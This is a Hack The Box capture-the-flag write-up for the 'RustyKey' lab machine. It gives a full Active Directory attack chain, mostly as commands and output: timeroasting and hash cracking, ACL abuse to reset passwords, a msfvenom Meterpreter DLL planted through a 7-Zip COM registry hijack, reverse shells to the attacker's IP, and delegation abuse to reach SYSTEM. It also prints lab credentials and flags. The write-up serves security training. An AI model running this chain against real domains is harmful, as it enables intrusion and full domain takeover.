Hackthebox: RustyKey

Foued SAIDI Lv5

Overview

Rustykey is a hard-difficulty machine from Hack The Box dealing initially with timeroasting attack to get machine account hash that we will leverage to abuse a chain of misconfigured ACLs to eventually abuse a dll hijacking on 7z and finally abuse ACLs to Delegation right to be able to impersonate the administrator.

RustyKey-info-card
RustyKey-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
PORT     STATE SERVICE       VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-04 03:59:59Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=7/3%OT=53%CT=1%CU=42486%PV=Y%DS=2%DC=T%G=Y%TM=6866E1B5
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=106%TI=I%CI=I%II=I%SS=O%TS=U
OS:)SEQ(SP=102%GCD=1%ISR=107%TI=I%CI=I%II=I%SS=O%TS=U)SEQ(SP=107%GCD=1%ISR=
OS:10A%TI=I%CI=I%II=I%SS=O%TS=U)SEQ(SP=108%GCD=1%ISR=10D%TI=I%CI=I%II=I%SS=
OS:O%TS=U)SEQ(SP=108%GCD=1%ISR=10D%TI=I%CI=I%II=I%SS=S%TS=U)OPS(O1=M542NW8N
OS:NS%O2=M542NW8NNS%O3=M542NW8%O4=M542NW8NNS%O5=M542NW8NNS%O6=M542NNS)WIN(W
OS:1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF%
OS:O=M542NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=
OS:N)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A
OS:=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=N)U
OS:1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DF
OS:I=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-07-04T04:01:12
|_ start_date: N/A
|_clock-skew: 7h59m42s

TRACEROUTE (using port 256/tcp)
HOP RTT ADDRESS
1 582.02 ms 10.10.16.1
2 296.04 ms 10.10.11.75

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 127.85 seconds

We can see that we have a windows active directory domain controller (we can tell from port 88). We can also see the domain name rustykey.htb so we can add that to our /etc/hosts file.

We are also provided with user credentials: rr.parker / 8#t5HE8L!W3A

First we can start by enumerating user rids:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
┌──(kali㉿kali)-[~]
└─$ sudo ntpdate rustykey.htb
2025-07-04 00:22:47.162201 (-0400) +28782.989140 +/- 0.160202 rustykey.htb 10.10.11.75 s1 no-leap
CLOCK: time stepped by 28782.989140

┌──(kali㉿kali)-[~]
└─$ getTGT.py rustykey.htb/'rr.parker':'8#t5HE8L!W3A' -dc-ip dc.rustykey.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in rr.parker.ccache

┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=rr.parker.ccache
┌──(kali㉿kali)-[~]
└─$ nxc smb dc.rustykey.htb -k -d RUSTYKEY.HTB --rid-brute

SMB dc.rustykey.htb 445 dc [*] x64 (name:dc) (domain:rustykey.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB dc.rustykey.htb 445 dc 498: RUSTYKEY\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB dc.rustykey.htb 445 dc 500: RUSTYKEY\Administrator (SidTypeUser)
SMB dc.rustykey.htb 445 dc 501: RUSTYKEY\Guest (SidTypeUser)
SMB dc.rustykey.htb 445 dc 502: RUSTYKEY\krbtgt (SidTypeUser)
SMB dc.rustykey.htb 445 dc 512: RUSTYKEY\Domain Admins (SidTypeGroup)
SMB dc.rustykey.htb 445 dc 513: RUSTYKEY\Domain Users (SidTypeGroup)
SMB dc.rustykey.htb 445 dc 514: RUSTYKEY\Domain Guests (SidTypeGroup)
SMB dc.rustykey.htb 445 dc 515: RUSTYKEY\Domain Computers (SidTypeGroup)
SMB dc.rustykey.htb 445 dc 516: RUSTYKEY\Domain Controllers (SidTypeGroup)
SMB dc.rustykey.htb 445 dc 517: RUSTYKEY\Cert Publishers (SidTypeAlias)
SMB dc.rustykey.htb 445 dc 518: RUSTYKEY\Schema Admins (SidTypeGroup)
SMB dc.rustykey.htb 445 dc 519: RUSTYKEY\Enterprise Admins (SidTypeGroup)
SMB dc.rustykey.htb 445 dc 520: RUSTYKEY\Group Policy Creator Owners (SidTypeGroup)
SMB dc.rustykey.htb 445 dc 521: RUSTYKEY\Read-only Domain Controllers (SidTypeGroup)
SMB dc.rustykey.htb 445 dc 522: RUSTYKEY\Cloneable Domain Controllers (SidTypeGroup)
SMB dc.rustykey.htb 445 dc 525: RUSTYKEY\Protected Users (SidTypeGroup)
SMB dc.rustykey.htb 445 dc 526: RUSTYKEY\Key Admins (SidTypeGroup)
SMB dc.rustykey.htb 445 dc 527: RUSTYKEY\Enterprise Key Admins (SidTypeGroup)
SMB dc.rustykey.htb 445 dc 553: RUSTYKEY\RAS and IAS Servers (SidTypeAlias)
SMB dc.rustykey.htb 445 dc 571: RUSTYKEY\Allowed RODC Password Replication Group (SidTypeAlias)
SMB dc.rustykey.htb 445 dc 572: RUSTYKEY\Denied RODC Password Replication Group (SidTypeAlias)
SMB dc.rustykey.htb 445 dc 1000: RUSTYKEY\DC$ (SidTypeUser)
SMB dc.rustykey.htb 445 dc 1101: RUSTYKEY\DnsAdmins (SidTypeAlias)
SMB dc.rustykey.htb 445 dc 1102: RUSTYKEY\DnsUpdateProxy (SidTypeGroup)
SMB dc.rustykey.htb 445 dc 1103: RUSTYKEY\Support-Computer1$ (SidTypeUser)
SMB dc.rustykey.htb 445 dc 1104: RUSTYKEY\Support-Computer2$ (SidTypeUser)
SMB dc.rustykey.htb 445 dc 1105: RUSTYKEY\Support-Computer3$ (SidTypeUser)
SMB dc.rustykey.htb 445 dc 1106: RUSTYKEY\Support-Computer4$ (SidTypeUser)
SMB dc.rustykey.htb 445 dc 1107: RUSTYKEY\Support-Computer5$ (SidTypeUser)
SMB dc.rustykey.htb 445 dc 1118: RUSTYKEY\Finance-Computer1$ (SidTypeUser)
SMB dc.rustykey.htb 445 dc 1119: RUSTYKEY\Finance-Computer2$ (SidTypeUser)
SMB dc.rustykey.htb 445 dc 1120: RUSTYKEY\Finance-Computer3$ (SidTypeUser)
SMB dc.rustykey.htb 445 dc 1121: RUSTYKEY\Finance-Computer4$ (SidTypeUser)
SMB dc.rustykey.htb 445 dc 1122: RUSTYKEY\Finance-Computer5$ (SidTypeUser)
SMB dc.rustykey.htb 445 dc 1123: RUSTYKEY\IT-Computer1$ (SidTypeUser)
SMB dc.rustykey.htb 445 dc 1124: RUSTYKEY\IT-Computer2$ (SidTypeUser)
SMB dc.rustykey.htb 445 dc 1125: RUSTYKEY\IT-Computer3$ (SidTypeUser)
SMB dc.rustykey.htb 445 dc 1126: RUSTYKEY\IT-Computer4$ (SidTypeUser)
SMB dc.rustykey.htb 445 dc 1127: RUSTYKEY\IT-Computer5$ (SidTypeUser)
SMB dc.rustykey.htb 445 dc 1128: RUSTYKEY\HelpDesk (SidTypeGroup)
SMB dc.rustykey.htb 445 dc 1130: RUSTYKEY\Protected Objects (SidTypeGroup)
SMB dc.rustykey.htb 445 dc 1131: RUSTYKEY\IT (SidTypeGroup)
SMB dc.rustykey.htb 445 dc 1132: RUSTYKEY\Support (SidTypeGroup)
SMB dc.rustykey.htb 445 dc 1133: RUSTYKEY\Finance (SidTypeGroup)
SMB dc.rustykey.htb 445 dc 1136: RUSTYKEY\DelegationManager (SidTypeGroup)
SMB dc.rustykey.htb 445 dc 1137: RUSTYKEY\rr.parker (SidTypeUser)
SMB dc.rustykey.htb 445 dc 1138: RUSTYKEY\mm.turner (SidTypeUser)
SMB dc.rustykey.htb 445 dc 1139: RUSTYKEY\bb.morgan (SidTypeUser)
SMB dc.rustykey.htb 445 dc 1140: RUSTYKEY\gg.anderson (SidTypeUser)
SMB dc.rustykey.htb 445 dc 1143: RUSTYKEY\dd.ali (SidTypeUser)
SMB dc.rustykey.htb 445 dc 1145: RUSTYKEY\ee.reed (SidTypeUser)
SMB dc.rustykey.htb 445 dc 1146: RUSTYKEY\nn.marcos (SidTypeUser)
SMB dc.rustykey.htb 445 dc 3601: RUSTYKEY\backupadmin (SidTypeUser)

I also stumbled upon this technique which was new to me at the time of solving the box.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(kali㉿kali)-[~]
└─$ nxc smb 10.10.11.75 -M timeroast
SMB 10.10.11.75 445 10.10.11.75 [*] x64 (name:10.10.11.75) (domain:10.10.11.75) (signing:True) (SMBv1:False) (NTLM:False)
TIMEROAST 10.10.11.75 445 10.10.11.75 [*] Starting Timeroasting...
aTIMEROAST 10.10.11.75 445 10.10.11.75 1000:$sntp-ms$ef03874b2a4ed3efd34dba6b5ae99f1c$1c0111e900000000000a15984c4f434cec11b479a15b431ce1b8428bffbfcd0aec11d0f1ad635e74ec11d0f1ad637e54
TIMEROAST 10.10.11.75 445 10.10.11.75 1103:$sntp-ms$c729c181a2fb99116e10c34eb565e4bf$1c0111e900000000000a15984c4f434cec11b479a25ee568e1b8428bffbfcd0aec11d0f2327f9e45ec11d0f2327fb267
TIMEROAST 10.10.11.75 445 10.10.11.75 1104:$sntp-ms$845500e3faf8934d2952efdcd22c098a$1c0111e900000000000a15984c4f434cec11b479a389811de1b8428bffbfcd0aec11d0f233aa3344ec11d0f233aa5177
TIMEROAST 10.10.11.75 445 10.10.11.75 1105:$sntp-ms$ebb15c46c9333fae8baeaa94c5ea0e99$1c0111e900000000000a15984c4f434cec11b479a393f514e1b8428bffbfcd0aec11d0f233b4aa97ec11d0f233b4c3c1
TIMEROAST 10.10.11.75 445 10.10.11.75 1106:$sntp-ms$96926b54b9a27236f5712be7710ea616$1c0111e900000000000a15984c4f434cec11b4799f8800eae1b8428bffbfcd0aec11d0f233c14686ec11d0f233c169c2
TIMEROAST 10.10.11.75 445 10.10.11.75 1107:$sntp-ms$576ff8834edbfc3e32bec023b0b9ba6a$1c0111e900000000000a15984c4f434cec11b479a2ab81f9e1b8428bffbfcd0aec11d0f23abbc7c1ec11d0f23abbf1b3
TIMEROAST 10.10.11.75 445 10.10.11.75 1118:$sntp-ms$d6150f25198c56a1d81e0187f70991e2$1c0111e900000000000a15984c4f434cec11b479a075360de1b8428bffbfcd0aec11d0f240752546ec11d0f24075401d
TIMEROAST 10.10.11.75 445 10.10.11.75 1119:$sntp-ms$75a11c9c5fad710ca496eb45e98aa87c$1c0111e900000000000a15984c4f434cec11b479a14274efe1b8428bffbfcd0aec11d0f2455ae020ec11d0f2455b1e33
TIMEROAST 10.10.11.75 445 10.10.11.75 1120:$sntp-ms$389e2aec9ed76460160328d2b3c9a896$1c0111e900000000000a15984c4f434cec11b479a1430d9be1b8428bffbfcd0aec11d0f2455b9552ec11d0f2455ba7c6
TIMEROAST 10.10.11.75 445 10.10.11.75 1121:$sntp-ms$13aa8d6c0052248f808c894fec5c48e2$1c0111e900000000000a15984c4f434cec11b479a21df182e1b8428bffbfcd0aec11d0f2463666c4ec11d0f246369263
TIMEROAST 10.10.11.75 445 10.10.11.75 1122:$sntp-ms$6793727d10e623e4c8610740a93f1170$1c0111e900000000000a15984c4f434cec11b479a21efdf2e1b8428bffbfcd0aec11d0f24637783cec11d0f246379ed2
TIMEROAST 10.10.11.75 445 10.10.11.75 1123:$sntp-ms$110dbfee90a17b3c48fb2f33cae88352$1c0111e900000000000a15984c4f434cec11b479a128b885e1b8428bffbfcd0aec11d0f24959b3d0ec11d0f24959ee88
TIMEROAST 10.10.11.75 445 10.10.11.75 1124:$sntp-ms$9ec64fb1b23de771718f9dba4e394482$1c0111e900000000000a15984c4f434cec11b479a12963a6e1b8428bffbfcd0aec11d0f2495a766eec11d0f2495a94a1
TIMEROAST 10.10.11.75 445 10.10.11.75 1126:$sntp-ms$ccc249882847a13703d6b92e9eba363f$1c0111e900000000000a15984c4f434cec11b479a01bd1ede1b8428bffbfcd0aec11d0f2503c7bb1ec11d0f2503ca09a
TIMEROAST 10.10.11.75 445 10.10.11.75 1125:$sntp-ms$4306e059f8ff5348eaef461f6de181f1$1c0111e900000000000a15984c4f434cec11b479a01aec14e1b8428bffbfcd0aec11d0f2503b81b6ec11d0f2503bc324
TIMEROAST 10.10.11.75 445 10.10.11.75 1127:$sntp-ms$1423095cfb716a88fa5a3edcf5638d69$1c0111e900000000000a15984c4f434cec11b479a0390fece1b8428bffbfcd0aec11d0f25059c3c0ec11d0f25059de98

This timeroasting attack, which you can read more about here , we obtain machine accounts hashes.

We can attempt to crack these hashes with crack mode 31300:

1
$sntp-ms$4306e059f8ff5348eaef461f6de181f1$1c0111e900000000000a15984c4f434cec11b479a01aec14e1b8428bffbfcd0aec11d0f2503b81b6ec11d0f2503bc324:Rusty88!

This is the hash for rid 1125.

We can also run bloodhound on the system for more enumeration:

1
bloodhound-python -u 'IT-Computer3$' -p 'Rusty88!' -ns 10.10.11.75 -d rustykey.htb -dc dc.rustykey.htb -c All --zip

We will see that IT-COMPUTER3 machine account has AddSelf on HELPDESK group.
And HELPDESK has ForceChangePassword on multiple user accounts.
Let’s abuse that by adding ourselves to the group and modifying the user password:

1
2
3
4
5
6
┌──(kali㉿kali)-[~/Downloads/hashcat-6.2.6 (2)]
└─$ bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k add groupMember HELPDESK 'IT-COMPUTER3$'
[+] IT-COMPUTER3$ added to HELPDESK
┌──(kali㉿kali)-[~/Downloads/hashcat-6.2.6 (2)]
└─$ bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password BB.MORGAN 'kujenPassword1'
[+] Password changed successfully!

evil-winrm wont work now
Because users are member of IT who is member of protected objects, we have to remove them. After doing that we get a ticket as BB.MORGAN and

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
┌──(kali㉿kali)-[~/Downloads/hashcat-6.2.6 (2)]
└─$ bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k add groupMember HELPDESK 'IT-COMPUTER3$'
[+] IT-COMPUTER3$ added to HELPDESK

┌──(kali㉿kali)-[~/Downloads/hashcat-6.2.6 (2)]
└─$ bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password BB.MORGAN 'kujenPassword1'
[+] Password changed successfully!

┌──(kali㉿kali)-[~/Downloads/hashcat-6.2.6 (2)]
└─$ bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k remove groupMember 'PROTECTED OBJECTS' 'IT'
[-] IT removed from PROTECTED OBJECTS

┌──(kali㉿kali)-[~/Downloads/hashcat-6.2.6 (2)]
└─$ getTGT.py rustykey.htb/'BB.MORGAN':'kujenPassword1' -dc-ip dc.rustykey.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in BB.MORGAN.ccache

┌──(kali㉿kali)-[~/Downloads/hashcat-6.2.6 (2)]
└─$ export KRB5CCNAME=BB.MORGAN.ccache

┌──(kali㉿kali)-[~/Downloads/hashcat-6.2.6 (2)]
└─$ evil-winrm -i rustykey.htb -r rustykey.htb

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

Error: An error of type GSSAPI::GssApiError happened, message is gss_init_sec_context did not return GSS_S_COMPLETE: Unspecified GSS failure. Minor code may provide more information
Server not found in Kerberos database


Error: Exiting with code 1

┌──(kali㉿kali)-[~/Downloads/hashcat-6.2.6 (2)]
└─$ evil-winrm -i dc.rustykey.htb -r RUSTYKEY.HTB

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\bb.morgan\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\bb.morgan\desktop> cat user.txt
6e4e745e270dd4cfa899899d0bc516fc
*Evil-WinRM* PS C:\Users\bb.morgan\desktop>

Privilege Escalation - ACL to Delegation abuse

Checking BB.MORGAN desktop, we can find a pdf document sent to support-team saying they have been granted extended rights related to compression and extraction (7z). So we have to impersonate one of them. (and of course not forget to remove them from protected users group.)
We can see from BloodHound that EE.REED user is a member of SUPPORT group.

1
2
3
4
5
6
┌──(kali㉿kali)-[~/Downloads/hashcat-6.2.6 (2)]
└─$ bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password ee.reed 'kujenPassword1'
[+] Password changed successfully!
┌──(kali㉿kali)-[~/Downloads]
└─$ bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'
[-] SUPPORT removed from PROTECTED OBJECTS
1
2
3
4
5
6
7
*Evil-WinRM* PS C:\Users\bb.morgan\Documents> .\RunasCS.exe ee.reed kujenPassword1 powershell.exe -r 10.10.16.48:4444
[*] Warning: User profile directory for user ee.reed does not exists. Use --force-profile if you want to force the creation.
[*] Warning: The logon for user 'ee.reed' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-d9805$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 5412 created in background.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PS C:\> ls users
ls users


Directory: C:\users


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/4/2025 9:37 AM Administrator
d----- 12/30/2024 8:53 PM bb.morgan
d----- 12/31/2024 1:19 PM mm.turner
d-r--- 12/26/2024 4:22 PM Public


PS C:\> whoami
whoami
rustykey\ee.reed
PS C:\>

we can know 7zip clsid from here : https://sourceforge.net/p/sevenzip/discussion/45798/thread/5d5ffcaa/

1
2
3
4
5
6
PS C:\> reg query "HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\7-Zip"

reg query "HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\7-Zip"

HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\7-Zip
(Default) REG_SZ {23170F69-40C1-278A-1000-000100020000}

Now we will perform dll hijacking with msfvenom. https://superuser.com/questions/1692977/where-in-the-registry-are-the-context-menu-options-for-7zip

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/Downloads]
└─$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.48 LPORT=4445 -f dll -o kujen.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 9216 bytes
Saved as: kujen.dll
1
2
3
4
PS C:\users\public> reg add "HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" /ve /d "C:\users\public\kujen.dll" /f
reg add "HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" /ve /d "C:\users\public\kujen.dll" /f
The operation completed successfully.
PS C:\users\public>

and then I get a shell as mm.turner since he executes it directly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
msf6 exploit(multi/handler) > options

Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Wildcard Target



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > set lhost 10.10.16.48
lhost => 10.10.16.48
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.16.48:4444
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] run: Interrupted
msf6 exploit(multi/handler) > set lport 4445
lport => 4445
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.16.48:4445
[*] Sending stage (203846 bytes) to 10.10.11.75
[*] Meterpreter session 1 opened (10.10.16.48:4445 -> 10.10.11.75:58791) at 2025-07-04 14:51:27 -0400

meterpreter > shell
Process 1164 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.7434]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows>whoami
whoami
rustykey\mm.turner

C:\Windows>

We can see from BloodHound that MM.TURNER is a member of DELEGATIONMANAGER group. We can use him to set the msDS-AllowedToActOnBehalfOfOtherIdentity attribute via the Set-ADComputer cmdlet.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
meterpreter > shell
Process 1944 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.7434]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows> $comp = 'IT-COMPUTER3$'
$comp = 'IT-COMPUTER3$'
PS C:\Windows> Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount $comp -Verbose
Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount $comp -Verbose
VERBOSE: Performing the operation "Set" on target "CN=DC,OU=Domain Controllers,DC=rustykey,DC=htb".
PS C:\Windows>

Now we can finally impersonate the administrator:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(kali㉿kali)-[~/Downloads]
└─$ getST.py -spn 'cifs/DC.rustykey.htb' -impersonate backupadmin -dc-ip 10.10.11.75 -k 'RUSTYKEY.HTB/IT-COMPUTER3$:Rusty88!'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Impersonating backupadmin
/home/kali/.local/bin/getST.py:321: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow()
/home/kali/.local/bin/getST.py:408: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2self
/home/kali/.local/bin/getST.py:532: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow()
/home/kali/.local/bin/getST.py:584: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2Proxy
[*] Saving ticket in backupadmin.ccache
┌──(kali㉿kali)-[~/Downloads]
└─$ export KRB5CCNAME=backupadmin.ccache

┌──(kali㉿kali)-[~/Downloads]
└─$ smbexec.py -k -no-pass 'RUSTYKEY.HTB/[email protected]'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>cat c:/users/administrator/desktop/root.txt
'cat' is not recognized as an internal or external command,
operable program or batch file.

C:\Windows\system32>type c:/users/administrator/desktop/root.txt
The syntax of the command is incorrect.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>type "C:\Users\Administrator\Desktop\root.txt"

f783c0d947229045913e8f460ea1f088
  • Title: Hackthebox: RustyKey
  • Author: Foued SAIDI
  • Created at : 2025-11-07 10:34:30
  • Updated at : 2025-11-07 17:57:18
  • Link: https://kujen5.github.io/2025/11/07/Hackthebox-RustyKey/
  • License: This work is licensed under CC BY-NC-SA 4.0.